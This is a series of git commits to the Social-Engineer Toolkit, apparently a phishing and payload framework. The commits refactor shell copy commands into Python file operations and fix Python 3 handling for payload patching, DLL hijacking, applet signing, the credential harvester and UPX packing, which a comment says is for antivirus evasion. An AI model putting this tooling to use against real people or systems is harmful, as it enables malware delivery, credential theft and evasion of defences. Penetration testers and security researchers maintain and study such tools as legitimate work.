"Y").encode("ascii") + pers = ((len(str(persistent)) + 1) * "Z").encode("ascii") # check ob cexe > 0, sonst wird ein Feld gepatcht (falsch!) if customexe: - cexe = (len(str(customexe)) + 1) * "Q" + cexe = ((len(str(customexe)) + 1) * "Q").encode("ascii") else: - cexe = "" - - filewrite.write(data.replace(cexe, customexe + "\x00", 1).replace(pers, persistent + "\x00", 1).replace(host, ipaddr + "\x00", 1).replace(r_port, str(ratteport) + "\x00", 1)) + cexe = None + + patched = data + if cexe is not None: + patched = patched.replace(cexe, (customexe + "\x00").encode("utf-8"), 1) + patched = patched.replace(pers, (persistent + "\x00").encode("utf-8"), 1) + patched = patched.replace(host, (ipaddr + "\x00").encode("utf-8"), 1) + patched = patched.replace(r_port, (str(ratteport) + "\x00").encode("utf-8"), 1) + filewrite.write(patched) # filewrite.write(data.replace(str(host), ipaddr+"\x00", 1).replace(str(rPort), str(ratteport)+"\x00", 1) ) # filewrite.write(data.replace(str(pers), persistent+"\x00", 1).replace(str(host), ipaddr+"\x00", 1).replace(str(rPort), str(ratteport)+"\x00", 1) ) diff --git a/src/core/setcore.py b/src/core/setcore.py index a1a7b92ba6..fad1634dbf 100644 --- a/src/core/setcore.py +++ b/src/core/setcore.py @@ -741,20 +741,23 @@ def java_applet_attack(website, port, directory): # this part is needed to rename the msf.exe file to a randomly generated # one filename = check_options("MSF.EXE=") - if check_options != 0: + if filename not in (0, ""): # move the file to the specified directory and filename - subprocess.Popen("cp %s/msf.exe %s/%s" % (userconfigpath, directory, filename), - stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True).wait() + shutil.copyfile( + os.path.join(userconfigpath, "msf.exe"), + os.path.join(directory, filename), + ) applet_name = check_options("APPLET_NAME=") - if applet_name == "": + if applet_name in (0, ""): applet_name = generate_random_string(6, 15) + ".jar" # lastly we need to copy over the signed applet - subprocess.Popen( - "cp %s/Signed_Update.jar %s/%s" % (userconfigpath, directory, applet_name), - stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True).wait() + shutil.copyfile( + os.path.join(userconfigpath, "Signed_Update.jar"), + os.path.join(directory, applet_name), + ) # start the web server by running it in the background start_web_server(directory) diff --git a/src/phishing/smtp/client/smtp_client.py b/src/phishing/smtp/client/smtp_client.py index 5718105686..593ccd0cc1 100644 --- a/src/phishing/smtp/client/smtp_client.py +++ b/src/phishing/smtp/client/smtp_client.py @@ -10,6 +10,7 @@ import random import pexpect import base64 +import shutil # python 2 to 3 fixes try: @@ -175,9 +176,7 @@ print_status("Keeping the filename and moving on.") if filename1 == '2': filename1 = input(setprompt(["1"], "New filename")) - subprocess.Popen("cp %s %s/%s 1> /dev/null 2> /dev/null" % - (file_format, userconfigpath, filename1), shell=True).wait() - file_format = ("%s/%s" % (userconfigpath, filename1)) + file_format = shutil.copyfile(file_format, os.path.join(userconfigpath, filename1)) print_status("Filename changed, moving on...") print (""" diff --git a/tests/test_functionality_fixes.py b/tests/test_functionality_fixes.py index 27a759e019..9a8ef958a2 100644 --- a/tests/test_functionality_fixes.py +++ b/tests/test_functionality_fixes.py @@ -171,3 +171,25 @@ def test_teensy_file_operations_avoid_shell_wrappers(): assert "subprocess.Popen([\"msfconsole\", \"-r\", answer_path])" in binary2teensy assert "os.remove(random_filename)" in sd2teensy assert "shutil.copyfile(metasploit_exec_path, os.path.join(webclone_path, \"x.exe\"))" in teensy + + +def test_applet_and_ratte_file_operations_avoid_shell_copy_wrappers(): + smtp_client = Path("src/phishing/smtp/client/smtp_client.py").read_text() + setcore = Path("src/core/setcore.py").read_text() + ratte = Path("modules/ratte_module.py").read_text() + ratte_only = Path("modules/ratte_only_module.py").read_text() + + assert 'subprocess.Popen("cp ' not in smtp_client + assert 'subprocess.Popen("cp %s/msf.exe' not in setcore + assert 'subprocess.Popen(\n "cp %s/Signed_Update.jar' not in setcore + assert 'subprocess.Popen("cp src/payloads/ratte/ratte.binary' not in ratte + assert 'subprocess.Popen("cp %s/Signed_Update.jar' not in ratte + assert 'subprocess.Popen("cp %s/ratteM.exe' not in ratte + assert "if filename not in (0, \"\"):" in setcore + assert "if applet_name in (0, \"\"):" in setcore + assert "shutil.copyfile(file_format, os.path.join(userconfigpath, filename1))" in smtp_client + assert 'os.path.join(userconfigpath, "rand_gen")' in ratte + assert 'os.path.join(userconfigpath, "ratteM.exe")' in ratte + assert "patched = data" in ratte + assert "patched = data" in ratte_only + assert 'to_replace = (core.grab_ipaddress() + ":80").encode("utf-8")' in ratte From 8d8dde05d92144b354761907f4d4dbb47b8fd50f Mon Sep 17 00:00:00 2001 From: HackingDave Date: Thu, 4 Jun 2026 17:06:47 -0400 Subject: [PATCH 15/23] Fix binary payload patching on Python 3 --- src/core/payloadprep.py | 52 ++++++++++-------------- src/webattack/dll_hijacking/hijacking.py | 39 +++++++++--------- tests/test_functionality_fixes.py | 20 +++++++++ 3 files changed, 62 insertions(+), 49 deletions(-) diff --git a/src/core/payloadprep.py b/src/core/payloadprep.py index 155aae3237..7f207ef011 100644 --- a/src/core/payloadprep.py +++ b/src/core/payloadprep.py @@ -92,6 +92,15 @@ webserver = exe_name + " " + webserver + +def _binary_marker(value, marker): + return ((len(str(value)) + 1) * marker).encode("ascii") + + +def _nul_terminated(value): + return (str(value) + "\x00").encode("utf-8") + + # this is generated through payloadgen.py and lets SET know if its a RATTE # payload or SET payload if os.path.isfile(userconfigpath + "set.payload"): @@ -112,39 +121,22 @@ # if we selected the SET Interactive shell in payloadgen if payload_selection == "SETSHELL": # replace ipaddress with one that we need for reverse connection back - fileopen = open("src/payloads/set_payloads/downloader.windows", "rb") - data = fileopen.read() - filewrite = open(userconfigpath + "msf.exe", "wb") - host = int(len(exe_name) + 1) * "X" - webserver_count = int(len(webserver) + 1) * "S" - ipaddr_count = int(len(ipaddr) + 1) * "M" - filewrite.write(data.replace(str(host), exe_name + "\x00", 1)) - filewrite.close() - fileopen = open(userconfigpath + "msf.exe", "rb") - data = fileopen.read() - filewrite = open(userconfigpath + "msf.exe", "wb") - filewrite.write(data.replace(str(webserver_count), webserver + "\x00", 1)) - filewrite.close() - fileopen = open(userconfigpath + "msf.exe", "rb") - data = fileopen.read() - filewrite = open(userconfigpath + "msf.exe", "wb") - filewrite.write(data.replace(str(ipaddr_count), ipaddr + "\x00", 1)) - filewrite.close() + with open("src/payloads/set_payloads/downloader.windows", "rb") as fileopen: + data = fileopen.read() + data = data.replace(_binary_marker(exe_name, "X"), _nul_terminated(exe_name), 1) + data = data.replace(_binary_marker(webserver, "S"), _nul_terminated(webserver), 1) + data = data.replace(_binary_marker(ipaddr, "M"), _nul_terminated(ipaddr), 1) + with open(userconfigpath + "msf.exe", "wb") as filewrite: + filewrite.write(data) # if we selected RATTE in our payload selection if payload_selection == "RATTE": - fileopen = open("src/payloads/ratte/ratte.binary", "rb") - data = fileopen.read() - filewrite = open(userconfigpath + "msf.exe", "wb") - host = int(len(ipaddr) + 1) * "X" - rPort = int(len(str(port)) + 1) * "Y" - filewrite.write(data.replace(str(host), ipaddr + "\x00", 1)) - filewrite.close() - fileopen = open(userconfigpath + "msf.exe", "rb") - data = fileopen.read() - filewrite = open(userconfigpath + "msf.exe", "wb") - filewrite.write(data.replace(str(rPort), str(port) + "\x00", 1)) - filewrite.close() + with open("src/payloads/ratte/ratte.binary", "rb") as fileopen: + data = fileopen.read() + data = data.replace(_binary_marker(ipaddr, "X"), _nul_terminated(ipaddr), 1) + data = data.replace(_binary_marker(port, "Y"), _nul_terminated(port), 1) + with open(userconfigpath + "msf.exe", "wb") as filewrite: + filewrite.write(data) print_status("Done, moving the payload into the action.") diff --git a/src/webattack/dll_hijacking/hijacking.py b/src/webattack/dll_hijacking/hijacking.py index 89e7b9f2d6..e39d8c13f1 100644 --- a/src/webattack/dll_hijacking/hijacking.py +++ b/src/webattack/dll_hijacking/hijacking.py @@ -10,6 +10,7 @@ import sys import glob import binascii +import shutil from src.core.menu.text import dll_hijacker_text from src.core.setcore import * @@ -60,15 +61,15 @@ print("\n [*] You have selected the file extension of %s and vulnerable dll of %s" % (extension, dll)) # prep the directories -subprocess.Popen("mkdir " + userconfigpath + "dll", stdout=subprocess.PIPE, - stderr=subprocess.PIPE, shell=True).wait() +dll_path = os.path.join(userconfigpath, "dll") +os.makedirs(dll_path, exist_ok=True) filename1 = input(setprompt( ["2", "15"], "Enter the filename for the attack (example:openthis) [openthis]")) if filename1 == "": filename1 = "openthis" # move the files there using the correct extension and file type -filewrite = open(userconfigpath + "dll/%s%s" % (filename1, extension), "w") +filewrite = open(os.path.join(dll_path, "%s%s" % (filename1, extension)), "w") filewrite.write("EMPTY") filewrite.close() @@ -82,11 +83,11 @@ fileopen = open("src/webattack/dll_hijacking/hijacking.dll", "rb") data = fileopen.read() -filewrite = open(userconfigpath + "dll/%s" % (dll), "wb") +filewrite = open(os.path.join(dll_path, dll), "wb") -host = int(len(ipaddr) + 1) * "X" +host = ((len(ipaddr) + 1) * "X").encode("ascii") -filewrite.write(data.replace(str(host), ipaddr + "\x00", 1)) +filewrite.write(data.replace(host, (ipaddr + "\x00").encode("utf-8"), 1)) filewrite.close() @@ -118,16 +119,14 @@ # basic counter counter = 0 - # look for rar in default directories - rar_check = subprocess.Popen("rar", shell=True, stdout=subprocess.PIPE) - # comunicate with the process - stdout_value = rar_check.communicate()[0] - # do a search to see if rar is present - match = re.search("Add files to archive", stdout_value) - # we get a hit? - if match: - subprocess.Popen("cd %s/dll;rar a %s/template.rar * 1> /dev/null 2> /dev/null" % - (userconfigpath, userconfigpath), shell=True).wait() + if shutil.which("rar"): + archive_path = os.path.join(userconfigpath, "template.rar") + dll_files = glob.glob(os.path.join(dll_path, "*")) + subprocess.Popen( + ["rar", "a", archive_path] + dll_files, + stdout=subprocess.DEVNULL, + stderr=subprocess.DEVNULL, + ).wait() counter = 1 # if we didnt find rar @@ -140,10 +139,12 @@ if choice == "2": # write to a zipfile here file = zipfile.ZipFile(userconfigpath + "template.zip", "w") - for name in glob.glob(userconfigpath + "dll/*"): + for name in glob.glob(os.path.join(dll_path, "*")): file.write(name, os.path.basename(name), zipfile.ZIP_DEFLATED) file.close() if os.path.isfile(userconfigpath + "msf.exe"): - subprocess.Popen("cp %s/msf.exe %s/src/html/" % - (userconfigpath, definepath), shell=True).wait() + shutil.copyfile( + os.path.join(userconfigpath, "msf.exe"), + os.path.join(definepath, "src", "html", "msf.exe"), + ) diff --git a/tests/test_functionality_fixes.py b/tests/test_functionality_fixes.py index 9a8ef958a2..ce7a5e4de6 100644 --- a/tests/test_functionality_fixes.py +++ b/tests/test_functionality_fixes.py @@ -193,3 +193,23 @@ def test_applet_and_ratte_file_operations_avoid_shell_copy_wrappers(): assert "patched = data" in ratte assert "patched = data" in ratte_only assert 'to_replace = (core.grab_ipaddress() + ":80").encode("utf-8")' in ratte + + +def test_binary_payload_patchers_use_bytes_markers(): + payloadprep = Path("src/core/payloadprep.py").read_text() + dll_hijacking = Path("src/webattack/dll_hijacking/hijacking.py").read_text() + + assert "data.replace(str(" not in payloadprep + assert "data.replace(str(" not in dll_hijacking + assert "def _binary_marker(value, marker):" in payloadprep + assert "def _nul_terminated(value):" in payloadprep + assert "data.replace(_binary_marker(exe_name, \"X\"), _nul_terminated(exe_name), 1)" in payloadprep + assert "data.replace(_binary_marker(webserver, \"S\"), _nul_terminated(webserver), 1)" in payloadprep + assert "data.replace(_binary_marker(ipaddr, \"M\"), _nul_terminated(ipaddr), 1)" in payloadprep + assert "data.replace(_binary_marker(port, \"Y\"), _nul_terminated(port), 1)" in payloadprep + assert 'host = ((len(ipaddr) + 1) * "X").encode("ascii")' in dll_hijacking + assert 'filewrite.write(data.replace(host, (ipaddr + "\\x00").encode("utf-8"), 1))' in dll_hijacking + assert 'subprocess.Popen("mkdir " + userconfigpath + "dll"' not in dll_hijacking + assert 'subprocess.Popen("cp %s/msf.exe %s/src/html/"' not in dll_hijacking + assert 'subprocess.Popen("cd %s/dll;rar a %s/template.rar *' not in dll_hijacking + assert 'subprocess.Popen("rar", shell=True' not in dll_hijacking From 38b0f3b107e3c18574209341ad112fa1ad602107 Mon Sep 17 00:00:00 2001 From: HackingDave Date: Thu, 4 Jun 2026 17:09:20 -0400 Subject: [PATCH 16/23] Fix Java payload encoding outputs --- src/core/payloadgen/create_payloads.py | 55 +++++++++++--------------- tests/test_functionality_fixes.py | 14 +++++++ 2 files changed, 37 insertions(+), 32 deletions(-) diff --git a/src/core/payloadgen/create_payloads.py b/src/core/payloadgen/create_payloads.py index 02a80d81a9..cee843c3ac 100644 --- a/src/core/payloadgen/create_payloads.py +++ b/src/core/payloadgen/create_payloads.py @@ -7,6 +7,7 @@ import re import socket import base64 +import shutil from src.core.setcore import * from src.core.menu.text import * from src.core.dictionaries import * @@ -465,32 +466,10 @@ fileopen = open("%s/meterpreter.alpha_decoded" % (userconfigpath), "r") data = fileopen.read() if payloadgen != "solo": - # base64 1 - data = str(data) - data = base64.b64encode(b'data') - # encode it again for the fun 2 - data = base64.b64encode(b'data') - # again 3 - data = base64.b64encode(b'data') - # again 4 - data = base64.b64encode(b'data') - # again 5 - data = base64.b64encode(b'data') - # again 6 - data = base64.b64encode(b'data') - # again 7 - data = base64.b64encode(b'data') - # again 8 - data = base64.b64encode(b'data') - # 9 - data = base64.b64encode(b'data') - # 10 - data = base64.b64encode(b'data') - # last one - data = base64.b64encode(b'data') - # + for _ in range(11): + data = base64.b64encode(data.encode("utf-8")).decode("ascii") filewrite = open("%s/meterpreter.alpha" % (userconfigpath), "w") - filewrite.write(str(data)) + filewrite.write(data) filewrite.close() if choice1 == "shellcode/alphanum": print_status("Prepping shellcodeexec for delivery..") @@ -514,7 +493,10 @@ filewrite.write(fileopen) filewrite.close() - subprocess.Popen("cp %s/shellcodeexec.custom %s/msf.exe 1> /dev/null 2> /dev/null" % (userconfigpath, userconfigpath), shell=True).wait() + shutil.copyfile( + os.path.join(userconfigpath, "shellcodeexec.custom"), + os.path.join(userconfigpath, "msf.exe"), + ) # we need to read in the old index.html file because its # already generated, need to present the alphanum to it if os.path.isfile("%s/web_clone/index.html" % (userconfigpath)): @@ -526,9 +508,9 @@ data = data.replace( 'param name="2" value=""', 'param name="2" value="%s"' % (alpha_shellcode)) if choice1 == "shellcode/multipyinject": - secret = base64.b64encode(b'secret') + secret = base64.b64encode(secret).decode("ascii") data = data.replace('param name="10" value=""', 'param name="10" value ="%s"' % (secret)) - filewrite.write(str(data)) + filewrite.write(data) # close file filewrite.close() @@ -539,7 +521,10 @@ if choice1 == "shellcode/pyinject": print_status("Prepping website for pyInjector shellcode injection..") print_status("Base64 encoding shellcode and prepping for delivery..") - subprocess.Popen("mv %s/web_clone/index.html.new %s/web_clone/index.html 1> /dev/null 2> /dev/null" % (userconfigpath, userconfigpath), shell=True).wait() + os.replace( + os.path.join(userconfigpath, "web_clone", "index.html.new"), + os.path.join(userconfigpath, "web_clone", "index.html"), + ) if choice9 == "windows/meterpreter/reverse_tcp_allports": portnum = "LPORT=1" choice3 = "1" @@ -592,7 +577,7 @@ # encode once, will need to decode later x86 = x86.encode("utf-8") - base_encode = base64.b64encode(x86) + base_encode = base64.b64encode(x86).decode("ascii") data = data.replace('param name="5" value=""', 'param name="5" value="%s"' % (base_encode)) data = data.replace('param name="6" value=""', 'param name="6" value="%s"' % (base_encode)) if choice1 == "cmd/multi": data = data.replace('param name="8" value="YES"', 'param name="8" value="NO"') @@ -606,7 +591,10 @@ filewrite.write(data) filewrite.close() - subprocess.Popen("mv %s/web_clone/index.html.new %s/web_clone/index.html" % (userconfigpath, userconfigpath), stdout=subprocess.PIPE, shell=True).wait() + os.replace( + os.path.join(userconfigpath, "web_clone", "index.html.new"), + os.path.join(userconfigpath, "web_clone", "index.html"), + ) # here we specify the binary to deploy if we are using ones that are # required to drop binaries @@ -618,7 +606,10 @@ data = data.replace('param name="8" value="NO"', 'param name="8" value="YES"') filewrite.write(data) filewrite.close() - subprocess.Popen("mv %s/web_clone/index.html.new %s/web_clone/index.html" % (userconfigpath, userconfigpath), stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True) + os.replace( + os.path.join(userconfigpath, "web_clone", "index.html.new"), + os.path.join(userconfigpath, "web_clone", "index.html"), + ) # specify attack vector as SET interactive shell if choice1 == "set/reverse_shell": diff --git a/tests/test_functionality_fixes.py b/tests/test_functionality_fixes.py index ce7a5e4de6..eef4805506 100644 --- a/tests/test_functionality_fixes.py +++ b/tests/test_functionality_fixes.py @@ -213,3 +213,17 @@ def test_binary_payload_patchers_use_bytes_markers(): assert 'subprocess.Popen("cp %s/msf.exe %s/src/html/"' not in dll_hijacking assert 'subprocess.Popen("cd %s/dll;rar a %s/template.rar *' not in dll_hijacking assert 'subprocess.Popen("rar", shell=True' not in dll_hijacking + + +def test_java_payload_encoding_uses_generated_data_not_literals(): + source = Path("src/core/payloadgen/create_payloads.py").read_text() + + assert "base64.b64encode(b'data')" not in source + assert "base64.b64encode(b'secret')" not in source + assert 'for _ in range(11):' in source + assert 'data = base64.b64encode(data.encode("utf-8")).decode("ascii")' in source + assert 'secret = base64.b64encode(secret).decode("ascii")' in source + assert 'base_encode = base64.b64encode(x86).decode("ascii")' in source + assert 'subprocess.Popen("cp %s/shellcodeexec.custom' not in source + assert 'subprocess.Popen("mv %s/web_clone/index.html.new' not in source + assert 'os.path.join(userconfigpath, "web_clone", "index.html.new")' in source From 9fb2f8c6692b88a6ebaa65d3e256034a186ad4ff Mon Sep 17 00:00:00 2001 From: HackingDave Date: Thu, 4 Jun 2026 17:11:13 -0400 Subject: [PATCH 17/23] Harden harvester PEM file handling --- src/webattack/harvester/harvester.py | 28 ++++++++++++++++++---------- tests/test_functionality_fixes.py | 13 +++++++++++++ 2 files changed, 31 insertions(+), 10 deletions(-) diff --git a/src/webattack/harvester/harvester.py b/src/webattack/harvester/harvester.py index 9ac82bf951..7922bf340b 100644 --- a/src/webattack/harvester/harvester.py +++ b/src/webattack/harvester/harvester.py @@ -3,6 +3,7 @@ import sys import os import re +import glob from html import escape @@ -39,6 +40,13 @@ from set_config import HARVESTER_LOG as logpath sys.path.append(definepath) + +def copy_pem_files(source_pattern, destination): + os.makedirs(destination, exist_ok=True) + for pem_path in glob.glob(source_pattern): + shutil.copy2(pem_path, destination) + + if track_email == True: print_status("You have selected to track user accounts, Apache will automatically be turned on to handle tracking of users.") apache_check = True @@ -170,11 +178,10 @@ sys.path.append("src/core/ssl") # import our ssl module import setssl - subprocess.Popen("cp %s/CA/*.pem %s" % (userconfigpath, userconfigpath), - stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True).wait() + copy_pem_files(os.path.join(userconfigpath, "CA", "*.pem"), userconfigpath) # remove old junk we dont need anymore - subprocess.Popen("rm -rf %s/CA;cp *.pem %s" % (userconfigpath, userconfigpath), - stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True).wait() + shutil.rmtree(os.path.join(userconfigpath, "CA"), ignore_errors=True) + copy_pem_files("*.pem", userconfigpath) # if user wants to specify his/her own PEM certificate if self_signed == "false": @@ -188,8 +195,7 @@ print("\nUnable to find PEM file, check location and config again.") exit_set() if os.path.isfile(pem_client): - subprocess.Popen("cp %s %s/newcert.pem" % (pem_client, userconfigpath), - stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True).wait() + shutil.copyfile(pem_client, os.path.join(userconfigpath, "newcert.pem")) match2 = re.search("PEM_SERVER=", line) if match2: pem_server = line.replace("PEM_SERVER=", "") @@ -197,8 +203,7 @@ print("\nUnable to find PEM file, check location and config again.") exit_set() if os.path.isfile(pem_server): - subprocess.Popen("cp %s %s/newreq.pem" % (pem_server, userconfigpath), - stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True).wait() + shutil.copyfile(pem_server, os.path.join(userconfigpath, "newreq.pem")) # url decode for postbacks def htc(m): @@ -207,7 +212,7 @@ def htc(m): # url decode def urldecode(url): url = url.decode('utf-8') - rex = re.compile('%([0-9a-hA-H][0-9a-hA-H])', re.M) + rex = re.compile('%([0-9a-fA-F][0-9a-fA-F])', re.M) return rex.sub(htc, url) # here is where we specify how many people actually visited versus fell for it @@ -611,7 +616,10 @@ def ssl_server(HandlerClass=SETHandler, ServerClass=SecureHTTPServer): if not os.path.isfile(userconfigpath + "newcert.pem"): print("PEM files not detected. SSL will not work properly.") # copy over our PEM files - subprocess.Popen("cp %s/*.pem %s/web_clone/" % (userconfigpath, userconfigpath), stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True).wait() + copy_pem_files( + os.path.join(userconfigpath, "*.pem"), + os.path.join(userconfigpath, "web_clone"), + ) # copy patched socket over to web clone definepath = os.getcwd() # we need to move a modified version of socket to handle SSL diff --git a/tests/test_functionality_fixes.py b/tests/test_functionality_fixes.py index eef4805506..d9840720d4 100644 --- a/tests/test_functionality_fixes.py +++ b/tests/test_functionality_fixes.py @@ -227,3 +227,16 @@ def test_java_payload_encoding_uses_generated_data_not_literals(): assert 'subprocess.Popen("cp %s/shellcodeexec.custom' not in source assert 'subprocess.Popen("mv %s/web_clone/index.html.new' not in source assert 'os.path.join(userconfigpath, "web_clone", "index.html.new")' in source + + +def test_harvester_uses_python_file_operations_for_pem_files(): + source = Path("src/webattack/harvester/harvester.py").read_text() + + assert 'subprocess.Popen("cp %s/CA/*.pem' not in source + assert 'subprocess.Popen("rm -rf %s/CA;cp *.pem' not in source + assert 'subprocess.Popen("cp %s %s/newcert.pem' not in source + assert 'subprocess.Popen("cp %s %s/newreq.pem' not in source + assert 'subprocess.Popen("cp %s/*.pem %s/web_clone/"' not in source + assert "def copy_pem_files(source_pattern, destination):" in source + assert 'shutil.rmtree(os.path.join(userconfigpath, "CA"), ignore_errors=True)' in source + assert 'rex = re.compile(\'%([0-9a-fA-F][0-9a-fA-F])\', re.M)' in source From f1f021b2ea5cd72496ba39fc7c48dc767e32dfca Mon Sep 17 00:00:00 2001 From: HackingDave Date: Thu, 4 Jun 2026 17:12:32 -0400 Subject: [PATCH 18/23] Harden core clone and UPX file operations --- src/core/setcore.py | 35 ++++++++++++++++++------------- tests/test_functionality_fixes.py | 13 ++++++++++++ 2 files changed, 33 insertions(+), 15 deletions(-) diff --git a/src/core/setcore.py b/src/core/setcore.py index fad1634dbf..a110f81260 100644 --- a/src/core/setcore.py +++ b/src/core/setcore.py @@ -665,8 +665,15 @@ def site_cloner(website, exportpath, *args): # copy the file to a new folder print_status("Site has been successfully cloned and is: " + exportpath) - subprocess.Popen("mkdir '%s';cp %s/web_clone/* '%s'" % (exportpath, userconfigpath, - exportpath), stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True).wait() + os.makedirs(exportpath, exist_ok=True) + web_clone_path = os.path.join(userconfigpath, "web_clone") + for entry in os.listdir(web_clone_path): + source_path = os.path.join(web_clone_path, entry) + destination_path = os.path.join(exportpath, entry) + if os.path.isdir(source_path): + shutil.copytree(source_path, destination_path, dirs_exist_ok=True) + else: + shutil.copy2(source_path, destination_path) # @@ -891,28 +898,26 @@ def upx(path_to_file): print_info( "Packing the executable and obfuscating PE file randomly, one moment.") # packing executable + temp_binary_path = os.path.join(userconfigpath, "temp.binary") subprocess.Popen( - "%s -9 -q -o %s/temp.binary %s" % (upx_path, userconfigpath, path_to_file), - stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True).wait() + [upx_path, "-9", "-q", "-o", temp_binary_path, path_to_file], + stdout=subprocess.PIPE, + stderr=subprocess.PIPE, + ).wait() # move it over the old file - subprocess.Popen("mv %s/temp.binary %s" % (userconfigpath, path_to_file), - stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True).wait() + os.replace(temp_binary_path, path_to_file) # random string random_string = generate_random_string(3, 3).upper() # 4 upx replace - we replace 4 upx open the file - fileopen = open(path_to_file, "rb") - filewrite = open(userconfigpath + "temp.binary", "wb") - - # read the file open for data - data = fileopen.read() + with open(path_to_file, "rb") as fileopen: + data = fileopen.read() # replace UPX stub makes better evasion for A/V - filewrite.write(data.replace("UPX", random_string, 4)) - filewrite.close() + with open(temp_binary_path, "wb") as filewrite: + filewrite.write(data.replace(b"UPX", random_string.encode("ascii"), 4)) # copy the file over - subprocess.Popen("mv %s/temp.binary %s" % (userconfigpath, path_to_file), - stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True).wait() + os.replace(temp_binary_path, path_to_file) time.sleep(3) diff --git a/tests/test_functionality_fixes.py b/tests/test_functionality_fixes.py index d9840720d4..15943d1cf1 100644 --- a/tests/test_functionality_fixes.py +++ b/tests/test_functionality_fixes.py @@ -240,3 +240,16 @@ def test_harvester_uses_python_file_operations_for_pem_files(): assert "def copy_pem_files(source_pattern, destination):" in source assert 'shutil.rmtree(os.path.join(userconfigpath, "CA"), ignore_errors=True)' in source assert 'rex = re.compile(\'%([0-9a-fA-F][0-9a-fA-F])\', re.M)' in source + + +def test_core_export_and_upx_file_operations_avoid_shell_wrappers(): + source = Path("src/core/setcore.py").read_text() + + assert 'subprocess.Popen("mkdir \'%s\';cp %s/web_clone/*' not in source + assert 'subprocess.Popen("mv %s/temp.binary %s"' not in source + assert '"%s -9 -q -o %s/temp.binary %s"' not in source + assert 'shutil.copytree(source_path, destination_path, dirs_exist_ok=True)' in source + assert 'shutil.copy2(source_path, destination_path)' in source + assert 'subprocess.Popen(\n [upx_path, "-9", "-q", "-o", temp_binary_path, path_to_file]' in source + assert 'data.replace(b"UPX", random_string.encode("ascii"), 4)' in source + assert "os.replace(temp_binary_path, path_to_file)" in source From bf46703c35962b2c26a561e234039ec53155d478 Mon Sep 17 00:00:00 2001 From: HackingDave Date: Thu, 4 Jun 2026 17:14:40 -0400 Subject: [PATCH 19/23] Harden Java applet signing file operations --- src/html/unsigned/self_sign.py | 30 +++++++++++++------- src/html/unsigned/verified_sign.py | 41 ++++++++++++++++----------- src/webattack/java_applet/sign_jar.py | 16 ++++++----- src/webattack/java_applet/unsigned.py | 24 ++++++++++------ tests/test_functionality_fixes.py | 20 +++++++++++++ 5 files changed, 89 insertions(+), 42 deletions(-) diff --git a/src/html/unsigned/self_sign.py b/src/html/unsigned/self_sign.py index 38400dd5e1..45e4dd0abf 100644 --- a/src/html/unsigned/self_sign.py +++ b/src/html/unsigned/self_sign.py @@ -2,6 +2,7 @@ # coding=utf-8 import os +import shutil import subprocess import src.core.setcore as core @@ -36,20 +37,29 @@ random_string = core.generate_random_string(10, 30) # grab keystore to use later -subprocess.Popen("keytool -genkey -alias {0} " - "-keystore mykeystore " - "-keypass mykeypass " - "-storepass mystorepass".format(random_string), shell=True).wait() +subprocess.Popen([ + "keytool", + "-genkey", + "-alias", random_string, + "-keystore", "mykeystore", + "-keypass", "mykeypass", + "-storepass", "mystorepass", +]).wait() # self-sign the applet -subprocess.Popen("jarsigner -keystore mykeystore " - "-storepass mystorepass " - "-keypass mykeypass " - "-signedjar Signed_Update.jar unsigned.jar {0}".format(random_string), shell=True).wait() +subprocess.Popen([ + "jarsigner", + "-keystore", "mykeystore", + "-storepass", "mystorepass", + "-keypass", "mykeypass", + "-signedjar", "Signed_Update.jar", + "unsigned.jar", + random_string, +]).wait() # move it into our html directory -subprocess.Popen("cp Signed_Update.jar ../", shell=True).wait() -subprocess.Popen("mv Signed_Update.jar {0}".format(core.userconfigpath), shell=True) +shutil.copyfile("Signed_Update.jar", os.path.join("..", "Signed_Update.jar")) +shutil.move("Signed_Update.jar", os.path.join(core.userconfigpath, "Signed_Update.jar")) # move back to original directory os.chdir("../../../") diff --git a/src/html/unsigned/verified_sign.py b/src/html/unsigned/verified_sign.py index c0a4f1080f..071214df7e 100644 --- a/src/html/unsigned/verified_sign.py +++ b/src/html/unsigned/verified_sign.py @@ -110,7 +110,7 @@ try: core.print_info("Importing the certificate into SET...") - subprocess.Popen("keytool -import -alias MyCert -file {}".format(cert_path), shell=True).wait() + subprocess.Popen(["keytool", "-import", "-alias", "MyCert", "-file", cert_path]).wait() # trigger that we have our certificate already and bypass the # request process below use_flag = 1 @@ -145,21 +145,25 @@ # grab city answer5 = input(core.setprompt("0", "City")) # generate the request crl - subprocess.Popen('keytool ' - '-genkey ' - '-alias MyCert ' - '-keyalg RSA ' - '-keysize 2048 ' - '-dname "CN={a1},O={a2},C={a3},ST={a4},L={a5}"'.format(a1=answer1, - a2=answer2, - a3=answer3, - a4=answer4, - a5=answer5), - shell=True).wait() + subprocess.Popen([ + "keytool", + "-genkey", + "-alias", "MyCert", + "-keyalg", "RSA", + "-keysize", "2048", + "-dname", "CN={a1},O={a2},C={a3},ST={a4},L={a5}".format( + a1=answer1, + a2=answer2, + a3=answer3, + a4=answer4, + a5=answer5, + ), + ]).wait() core.print_info("Exporting the cert request to text file...") # generate the request and export to certreq - subprocess.Popen("keytool -certreq -alias MyCert > {}".format(os.path.join(definepath, "certreq.txt")), shell=True).wait() + with open(os.path.join(definepath, "certreq.txt"), "w") as certreq: + subprocess.Popen(["keytool", "-certreq", "-alias", "MyCert"], stdout=certreq).wait() core.print_status("Export successful. Exported certificate under the SET root under certreq.txt") core.print_warning("You will now need to pay for a code signing certificate through Verisign/Thawte/GoDaddy/etc.") core.print_warning("Be sure to purchase a code signing certificate, not a normal website SSL certificate.") @@ -178,13 +182,18 @@ break # import the certificate - subprocess.Popen("keytool -import -alias MyCert -file {0}".format(cert_path), shell=True).wait() + subprocess.Popen(["keytool", "-import", "-alias", "MyCert", "-file", cert_path]).wait() # if our certificate is in the data store if os.path.isfile(cert_path): # sign the applet with the imported certificate - subprocess.Popen("jarsigner -signedjar Signed_Update.jar {0} MyCert".format(os.path.join(definepath, "src/html/unsigned/unsigned.jar")), shell=True).wait() + subprocess.Popen([ + "jarsigner", + "-signedjar", "Signed_Update.jar", + os.path.join(definepath, 